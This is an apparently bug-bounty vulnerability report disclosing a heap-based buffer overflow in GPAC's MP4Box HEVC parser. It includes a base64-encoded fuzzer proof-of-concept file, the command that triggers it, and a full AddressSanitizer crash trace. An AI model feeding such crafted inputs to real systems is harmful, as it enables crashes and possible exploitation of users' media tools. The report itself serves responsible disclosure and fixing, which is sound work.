Heap-based Buffer Overflow in gpac/gpac
Valid
Reported on
Jan 24th 2022
Description
Heap-based Buffer Overflow in gpac
Proof of Concept
Version:
MP4Box - GPAC version 1.1.0-DEV-rev1659-g7d3281e88-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --prefix=/home/aidai/fuzzing/gpac
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
System information Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz
poc
base64 poc
Q0FDMAAA//RkRDIAAgwAAAA/////dQE/AAABRAAAAUEAAAFC3QABQwAAAURAAAABQQEAGELdABAA
AH//+fn5+Qj6REZERERET0RYZHNzbYZ/bzIAAgwAAABBAQAYQt0AEAAAf//5+dz6FflERkQURERY
RB1MAABbRERERERERA==
command:
./MP4Box -info poc
Result
[HEVC] Warning: Error parsing NAL unit
=================================================================
==3731647==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001ef1 at pc 0x7efef1b445d6 bp 0x7ffdd2133830 sp 0x7ffdd2133828
READ of size 1 at 0x602000001ef1 thread T0
#0 0x7efef1b445d5 in naludmx_create_hevc_decoder_config /home/aidai/fuzzing/gpac/gpac/src/filters/reframe_nalu.c:1008:44
#1 0x7efef1b445d5 in naludmx_check_pid /home/aidai/fuzzing/gpac/gpac/src/filters/reframe_nalu.c:1581:3
#2 0x7efef1b2dfad in naludmx_process /home/aidai/fuzzing/gpac/gpac/src/filters/reframe_nalu.c:3074:3
#3 0x7efef15c73b2 in gf_filter_process_task /home/aidai/fuzzing/gpac/gpac/src/filter_core/filter.c:2515:7
#4 0x7efef158b9ea in gf_fs_thread_proc /home/aidai/fuzzing/gpac/gpac/src/filter_core/filter_session.c:1756:3
#5 0x7efef1588387 in gf_fs_run /home/aidai/fuzzing/gpac/gpac/src/filter_core/filter_session.c:2000:2
#6 0x7efef0e36503 in gf_media_import /home/aidai/fuzzing/gpac/gpac/src/media_tools/media_import.c:1226:3
#7 0x56561c in convert_file_info /home/aidai/fuzzing/gpac/gpac/applications/mp4box/fileimport.c:128:6
#8 0x50f706 in mp4boxMain /home/aidai/fuzzing/gpac/gpac/applications/mp4box/main.c:6068:6
#9 0x7efeefc050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x429b8d in _start (/home/aidai/fuzzing/gpac/gpac/bin/gcc/MP4Box+0x429b8d)
0x602000001ef1 is located 0 bytes to the right of 1-byte region [0x602000001ef0,0x602000001ef1)
allocated by thread T0 here:
#0 0x4a22cd in malloc (/home/aidai/fuzzing/gpac/gpac/bin/gcc/MP4Box+0x4a22cd)
#1 0x7efef1b4a835 in naludmx_queue_param_set /home/aidai/fuzzing/gpac/gpac/src/filters/reframe_nalu.c:1928:13
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/aidai/fuzzing/gpac/gpac/src/filters/reframe_nalu.c:1008:44 in naludmx_create_hevc_decoder_config
Shadow bytes around the buggy address:
0x0c047fff8380: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8390: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff83a0: fa fa 00 00 fa fa 07 fa fa fa 00 00 fa fa 00 00
0x0c047fff83b0: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff83c0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff83d0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[01]fa
0x0c047fff83e0: fa fa 00 00 fa fa 00 00 fa fa fa fa fa fa fa fa
0x0c047fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3731647==ABORTING
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gpac
team within 24 hours.
2 years ago
A
GitHub Issue
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SECURITY.md
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2 years ago
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2 years ago
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